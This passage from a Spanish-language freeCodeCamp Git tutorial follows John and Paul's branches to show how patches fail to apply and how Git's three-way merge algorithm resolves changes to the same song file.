</code></pre><p>¿Viste cómo usé los nombres de rama aquí? Después de todo, sólo son punteros a las confirmaciones que queremos.</p><p>Genial, mira el log de la nueva confirmación:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_lol_merging_new_changes.png" class="kg-image" alt=" after creating the merge commit" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git lol &lt;SHA_OF_THE_MERGE_COMMIT&gt;</code> after creating the merge commit</figcaption></figure><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_merging_new_changes_commit.png" class="kg-image" alt="The history after creating the merge commit" width="600" height="400" loading="lazy"><figcaption>The history after creating the merge commit</figcaption></figure><p>Exactamente lo que queríamos.</p><p>También puedes dejar a Git que haga el trabajo para ti. Puedes cambiar a <code>john_branch_2</code>, el cual no has movido - así que todavía apunta a la misma confirmación como lo hizo antes de la fusión. Así que todo lo que necesitas es ejecutar:</p><pre><code class="language-bash">git checkout john_branch_2
git merge paul_branch_2
</code></pre><p>Observa el historial resultante:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/merge_branches_2.png" class="kg-image" alt=" after letting Git perform the merge" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git lol</code> after letting Git perform the merge</figcaption></figure><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_merging_with_git.png" class="kg-image" alt="A visualization of the history after letting Git perform the merge" width="600" height="400" loading="lazy"><figcaption>A visualization of the history after letting Git perform the merge</figcaption></figure><p>Como antes, tienes una confirmación de fusión apuntando a "Commit 8" y "Commit 9" como sus predecesores. "Commit 9" es el primer predecesor ya que lo fusionaste.</p><p>Pero esto fue bastante sencillo... John y Paul trabajaron en el mismo archivo, pero en partes muy distintas. También podrías directamente aplicar los cambios de Paul a la rama de John. Si vuelves a la rama de John antes de la fusión:</p><pre><code class="language-bash">git reset --hard HEAD~
</code></pre><p>Y ahora aplica los cambios de Paul:</p><pre><code class="language-bash">git apply --index paul_branch_2.patch
</code></pre><p>Obtendrías el mismo resultado.</p><p>Pero, ¿qué sucede cuando las dos ramas incluyen cambios en los mismos archivos, en las mismas ubicaciones?</p><h3 id="casos-de-fusi-n-de-git-m-s-avanzados"><strong>Casos de Fusión de Git más avanzados</strong></h3><p>¿Qué sucedería si John y Paul fueran a coordinar una nueva canción, y lo realizan juntos?</p><p>En este caso, John crea la primer versión de esta canción en la rama main:</p><pre><code class="language-bash">git checkout main
nano everyone.md
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/everyone_1.png" class="kg-image" alt="The contents of  prior to the first commit" width="600" height="400" loading="lazy"><figcaption>The contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">everyone.md</code> prior to the first commit</figcaption></figure><p>A propósito, este texto es de hecho tomado de la versión que John Lennon grabó para una demo en 1968. Pero esto no es un libro sobre los Beatles. Si estás interesado sobre el proceso por el que los Beatles atravesaron mientras escribían esta canción, puedes seguir los enlaces al final de este capítulo.</p><pre><code class="language-bash">git add everyone.md
git commit -m "Commit 10"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_commit_10.png" class="kg-image" alt="Introducing &quot;Commit 10&quot;" width="600" height="400" loading="lazy"><figcaption>Introducing "Commit 10"</figcaption></figure><p>Ahora John y Paul se separon. Paul crea un nuevo verso al principio:</p><pre><code class="language-bash">git checkout -b paul_branch_3
nano everyone.md
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/everyone_2.png" class="kg-image" alt="Paul added a new verse in the beginning" width="600" height="400" loading="lazy"><figcaption>Paul added a new verse in the beginning</figcaption></figure><p>También, mientras hablando con John, decidieron cambiar la palabra "feet" a "foot", así que Paul agrega este cambio también.</p><p>Y Paul agrega y confirma sus cambios al repo:</p><pre><code class="language-bash">git add everyone.md
git commit -m "Commit 11"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_11.png" class="kg-image" alt="The history after introducing &quot;Commit 11&quot;" width="600" height="400" loading="lazy"><figcaption>The history after introducing "Commit 11"</figcaption></figure><p>Puedes observar los cambios de Paul, comparando este estado de la rama al estado de la rama <code>main</code>:</p><pre><code class="language-bash">git diff main
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main.png" class="kg-image" alt="The output of  from Paul's branch" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff main</code> from Paul's branch</figcaption></figure><p>Almacena este diff en un archivo parche:</p><pre><code class="language-bash">git diff main &gt; paul_3.patch
</code></pre><p>Ahora devuelta a <code>main</code>...</p><pre><code class="language-bash">git checkout main
</code></pre><p>John decide hacer otro cambio, en su propia nueva rama:</p><pre><code class="language-bash">git checkout -b john_branch_3
</code></pre><p>Y reemplaza la línea "Everyone had the boot in" con la línea "Everyone had a wet dream". Además, John cambió la plabra "feet" a "foot", siguiendo su charla con Paul.</p><p>Observa el diff:</p><pre><code class="language-bash">git diff main
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_2.png" class="kg-image" alt="The output of  from John's branch" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff main</code> from John's branch</figcaption></figure><p>Almacena esta salida también:</p><pre><code class="language-bash">git diff main &gt; john_3.patch
</code></pre><p>Ahora, pónlo en el área de preparación y confirma:</p><pre><code class="language-bash">git add everyone.md
git commit -m "Commit 12"
</code></pre><p>Este debería ser tu historial actual:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_12.png" class="kg-image" alt="The history after introducing &quot;Commit 12&quot;" width="600" height="400" loading="lazy"><figcaption>The history after introducing "Commit 12"</figcaption></figure><p>Fíjate que eliminé <code>john_branch_2</code> y <code>paul_branch_2</code> para simplicidad. Por supuesto, puedes eliminarlos de Git usando <code>git branch -D &lt;branch_name&gt;</code>. Como resultado, estos nombres de ramas no aparecerán en la salida de <code>git log</code> u otros comandos similares.</p><p>Esto también se aplica a las confirmaciones que ya no son accesibles desde ninguna referencia nombrada, tales como "Commit 8" o "Commit 9". Ya que ya no son accesibles desde ninguna referencia nombrada por medio de la cadena de los antecesores, no serán incluidos en la salida de comandos tales como <code>git log</code>.</p><p>Devuelta a nuestra historia - Paul y John han agregado un nuevo verso, así que a John le gustaría fusionar los cambios de Paul.</p><p>¿Puede John simplemente aplicar el parche de Paul?</p><p>Considera el parche de nuevo:</p><pre><code class="language-bash">git diff main paul_branch_3
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main-1.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff main paul_branch_3</code></figcaption></figure><p>Como puedes ver, este diff se basa en la línea "Everyone had the boot in", pero esta línea ya no existe en la rama de John. Como resultado, podrías esperar que aplicar el parche falle. Continúa, inténtalo:</p><pre><code class="language-bash">git apply paul_3.patch
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_paul_3.png" class="kg-image" alt="Applying the patch failed" width="600" height="400" loading="lazy"><figcaption>Applying the patch failed</figcaption></figure><p>De hecho, puedes ver que falló.</p><p>¿Pero debería fallar realmente?</p><p>Como expliqué anteriormente, <code>git merge</code> usa un algoritmo de 3 vías, y esto puede ser útil aquí. ¿Cuál sería el primer paso de este algoritmo?	</p><p>Bueno, primero, Git encontraría la base de fusión - eso es, el ancestro común de la rama de Paul y de la rama de John. Considera el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_12-1.png" class="kg-image" alt="The history after introducing &quot;Commit 12&quot;" width="600" height="400" loading="lazy"><figcaption>The history after introducing "Commit 12"</figcaption></figure><p>Así que el ancestro común de "Commit 11" y Commit 12" es "Commit 10". Puedes verificarlo ejecutando el comando:</p><pre><code class="language-bash">git merge-base john_branch_3 paul_branch_3
</code></pre><p>Ahora podemos tomar los parches que generamos desde los diffs en ambas ramas, y aplicarlos al <code>main</code>. ¿Funcionaría?</p><p>Primero, intenta aplicar el parche de John, y luego el parche de Paul.</p><p>Considera el diff:</p><pre><code class="language-bash">git diff main john_branch_3
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_2-1.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff main john_branch_3</code></figcaption></figure><p>Podemos almacenarlo en un archivo:</p><pre><code class="language-bash">git diff main john_branch_3 &gt; john_3.patch
</code></pre><p>Y aplicar este parche en el main:</p><pre><code class="language-bash">git checkout main
git apply john_3.patch
</code></pre><p>Consideremos el resultado:</p><pre><code class="language-bash">nano everyone.md
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/everyone_3.png" class="kg-image" alt="The contents of  after applying John's patch" width="600" height="400" loading="lazy"><figcaption>The contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">everyone.md</code> after applying John's patch</figcaption></figure><p>La línea cambió como se esperaba. Bien 😎</p><p>Ahora, ¿puede Git aplicar el parche de Paul? Para recordarte, este es el parche. Bueno, Git no puede aplicar este parche, porque este parche asume que la línea "Everyone had the boot in" existe. Tratar de aplicarlo es probable que falle:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main-2.png" class="kg-image" alt="The contents of Paul's patch" width="600" height="400" loading="lazy"><figcaption>The contents of Paul's patch</figcaption></figure><p>Bueno, Git no puede aplicar este parche, porque este parche asume que la línea "Everyone had the boot in" existe. Tratar de aplicarlo es probable que falle:</p><pre><code class="language-bash">git apply -v paul_3.branch
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_v_paul_3.png" class="kg-image" alt="Applying Paul's patch failed" width="600" height="400" loading="lazy"><figcaption>Applying Paul's patch failed</figcaption></figure><p>Lo que intentaste de hacer ahora, aplicar el parche de Paul en la rama <code>main</code> después de aplicar el parche de John, es lo mismo que estar en <code>john_branch_3</code>, e intentar de aplicar el parche. Eso es, ejecutando:</p><pre><code class="language-bash">git apply paul_3.patch
</code></pre><p>¿Qué sucedería si intentaramos al revés?</p><p>Primero, limpia el estado:</p><pre><code class="language-bash">git reset --hard
</code></pre><p>Y comienza desde la rama de Paul:</p><pre><code class="language-bash">git checkout paul_branch_3
</code></pre><p>¿Podemos aplicar el parche de Paul? Como recordatorio, este es el estado de <code>everyone.md</code> en esta rama:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/everyone_2-1.png" class="kg-image" alt="The contents of  on " width="600" height="400" loading="lazy"><figcaption>The contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">everyone.md</code> on <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">paul_branch_3</code></figcaption></figure><p>Y este es el parche de John:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_2-2.png" class="kg-image" alt="The contents of John's patch" width="600" height="400" loading="lazy"><figcaption>The contents of John's patch</figcaption></figure><p>¿Funcionaría aplicar el parche de John?</p><p>Intenta contestarte a tí mismo antes de continuar leyendo.</p><p>Puedes intentar:</p><pre><code class="language-bash">git apply john_3.patch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_3_john_3.png" class="kg-image" alt="Git fails to apply John's patch" width="600" height="400" loading="lazy"><figcaption>Git fails to apply John's patch</figcaption></figure><p>Bueno, ¡no! De nuevo, si estás seguro de lo que pasó, siempre puedes pedir con <code>git apply</code> para que sea un poco más verboso:</p><pre><code class="language-bash">git apply -v john_3.patch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_v_john_3.png" class="kg-image" alt="You can get more information by using the  flag" width="600" height="400" loading="lazy"><figcaption>You can get more information by using the <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">-v</code> flag</figcaption></figure><p>Git está buscando "Everyone put the feet down", pero Paul ya ha cambiado esta línea así que ahora consiste de la palabra "foot" en vez de "feet". Como resultado, aplicar este parche falla.</p><p>Fíjate que cambiar el número de las líneas de contexto aquí (eso es, usando <code>git apply</code> con el argumento <code>-C</code>, como se discutió en el <a href="#cap-6">capítulo anterior</a>) es irrelevante - Git es incapaz de localizar la línea actual que el parche está intentando de eliminar.</p><p>Pero en realidad, Git puede hacer que esto funcione, si sólo agregas un argumento para aplicar, diciéndole que haga una fusión de tres vías por debajo:</p><pre><code class="language-bash">git apply -3 john_3.patch
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_apply_3_john_3-1.png" class="kg-image" alt="Applying with  flag succeeds" width="600" height="400" loading="lazy"><figcaption>Applying with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">-3</code> flag succeeds</figcaption></figure><p>Y considera el resultado:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/everyone_4.png" class="kg-image" alt="The contents of  after the merge" width="600" height="400" loading="lazy"><figcaption>The contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">everyone.md</code> after the merge</figcaption></figure><p>¡Exactamente lo que queríamos! ¡Tienes el verso de Paul, y los de John!</p><p>Así que, ¿cómo Git fue capaz de lograr eso?</p><p>Bueno, como mencioné, Git realmente hizo una <strong><strong>fusión de 3 vías</strong></strong>, y con este ejemplo, será un buen momento para indagar lo que esto realmente significa.</p><h3 id="c-mo-funciona-el-algoritmo-de-fusi-n-de-3-v-as-de-git"><strong>Cómo funciona el Algoritmo de Fusión de 3 vías de Git</strong></h3><p>Vuelve al estado antes de aplicar este parche:</p><pre><code class="language-bash">git reset --hard
</code></pre><p>Ahora tienes tres versiones: la base de fusión, el cual es "Commit 10", la rama de Paul, y la rama de John. En términos generales, podemos decir que estos son el <code>merge base</code>, <code>commit A</code> y <code>commit B</code>. Fíjate que el <code>merge base</code> es por definición un ancestro de ambos <code>commit A</code> y <code>commit B</code>.</p><p>Para realizar una fusión, Git mira al diff entre las tres diferentes versiones del archivo en cuestión de estas tres revisiones. En tu caso, es el archivo <code>everyone.md</code>, y las revisiones son "Commit 10", la rama de Paul - eso es, "Commit 11", y la rama de John, eso es, "Commit 12".</p><p>Git hace la decisión de fusión basado en el estado de cada línea en cada una de estas versiones.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_versions.png" class="kg-image" alt="The three versions considered for the 3-way merge" width="600" height="400" loading="lazy"><figcaption>The three versions considered for the 3-way merge</figcaption></figure><p>En caso que no todas las tres versiones coincidan, eso es un conflicto. Git puede resolver muchos de estos conflictos automáticamente, como veremos ahora.</p><p>Consideremos líneas específicas.</p><p>Las primeras líneas aquí existen solamente en la rama de Paul:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_versions_1.png" class="kg-image" alt="Lines that appear on Paul's branch only" width="600" height="400" loading="lazy"><figcaption>Lines that appear on Paul's branch only</figcaption></figure><p>Esto significa que el estado de la rama de John es igual al estado de la base de fusión. Así que la fusión de 3 vías va a la par con la versión de Paul.</p><p>En general, si el estado de la base de fusión es el mismo que el <code>A</code>, el algoritmo va la par con <code>B</code>. La razón se debe a que la base de fusión es el ancestro de <code>A</code> y de <code>B</code>, Git asume que esta línea no ha cambiado en <code>A</code>, y <em><em>ha</em></em> cambiado en <code>B</code>, el cual es la versión más reciente para esa línea, y por lo tanto debería ser tomado en cuenta.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_way_merge_1.png" class="kg-image" alt="If the state of the merge base is the same as , and this state is different from , the algorithm goes with " width="600" height="400" loading="lazy"><figcaption>If the state of the merge base is the same as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">A</code>, and this state is different from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">B</code>, the algorithm goes with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">B</code></figcaption></figure><p>Luego, puedes ver líneas donde toda las tres versiones están de acuerdo - están en la base de fusión, <code>A</code> y <code>B</code>, con datos iguales.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_versions_2.png" class="kg-image" alt="Lines where all three versions agree" width="600" height="400" loading="lazy"><figcaption>Lines where all three versions agree</figcaption></figure><p>En este caso el algoritmo tiene una opción trivial - sólo toma esa versión.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_way_merge_2.png" class="kg-image" alt="In case all three versions agree, the algorithm goes with that single version" width="600" height="400" loading="lazy"><figcaption>In case all three versions agree, the algorithm goes with that single version</figcaption></figure><p>En un ejemplo previo, vimos que si la base de fusión y <code>A</code> están de acuerdo, y la versión de <code>B</code> es diferente, el agoritmo toma <code>B</code>. Esto funciona en la otra dirección también - por ejemplo, aquí tienes una línea que existe en la rama de John, distinto al de la base de fusión y al de la rama de Paul.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_versions_3.png" class="kg-image" alt="A line where Paul's version matches the merge base's version, and John has a different version" width="600" height="400" loading="lazy"><figcaption>A line where Paul's version matches the merge base's version, and John has a different version</figcaption></figure><p>Por lo tanto, la versión de John es elegida:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_way_merge_3.png" class="kg-image" alt="If the state of the merge base is the same as , and this state is different from , the algorithm goes with " width="600" height="400" loading="lazy"><figcaption>If the state of the merge base is the same as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">B</code>, and this state is different from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">A</code>, the algorithm goes with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">A</code></figcaption></figure><p>Ahora considera otro caso, donde <code>A</code> y <code>B</code> están de acuerdo en una línea, pero el valor en el que están de acuerdo es distinta del de la base de fusión: ambos John y Paul acordaron en cambiar la línea "Everyone put their feet down" a "Everyone put their foot down":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_versions_4.png" class="kg-image" alt="A line where Paul's version matches John's version; yet the merge base has a different version" width="600" height="400" loading="lazy"><figcaption>A line where Paul's version matches John's version, yet the merge base has a different version</figcaption></figure><p>En este caso, el algoritmo toma la versión de <code>A</code> y de <code>B</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_way_merge_4.png" class="kg-image" alt="In case A and B agree on a version which is different from the merge base's version, the algorithm picks the version on both A and B" width="600" height="400" loading="lazy"><figcaption>In case <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">A</code> and <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">B</code> agree on a version which is different from the merge base's version, the algorithm picks the version on both <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">A</code> and <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">B</code></figcaption></figure><p>Fíjate que esto no es un voto democrático. En el caso previo, el algoritmo tomó la versión minoritaria, ya que se parecía a la versión más reciente de esta línea. En este caso, llega a tomar la mayoría - pero solamente porque <code>A</code> y <code>B</code> son las revisiones que acordan en la nueva versión.</p><p>Lo mismo sucedería si usaramos <code>git merge</code>:</p><pre><code class="language-bash">git merge john_branch_3
</code></pre><p>Sin especificar ningún argumento, <code>git merge</code> por defecto usará una <code>fusión de 3 vías</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_merge_default.png" class="kg-image" alt="By default,  uses a 3-way merge algorithm" width="600" height="400" loading="lazy"><figcaption>By default, <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git merge</code> uses a 3-way merge algorithm</figcaption></figure><p>El estado de <code>everyone.md</code> después de ejecutar <code>git merge john_branch</code> sería el mismo que el resultado que alcanzaste al aplicar los parches con <code>git apply -3</code>.</p><p>Si consideras el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_merge.png" class="kg-image" alt="Git's history after performing the merge" width="600" height="400" loading="lazy"><figcaption>Git's history after performing the merge</figcaption></figure><p>Verás que la confirmación de fusión tiene dos antecesores: el primero es el "Commit 11", eso es, a donde apuntó <code>paul_branch_3</code> antes de la fusión. El segundo es "Commit 12", a donde <code>john_branch_3</code> apuntó, y a donde todavía apunta ahora.</p><p>¿Qué sucederá si ahora fusionas desde <code>main</code>? Eso es, cambiar a la rama <code>main</code>, el cual apunta al "Commit 10":</p><pre><code class="language-bash">git checkout main
</code></pre><p>¿Y luego fusionar la rama de Paul?</p><pre><code class="language-bash">git merge paul_branch_3
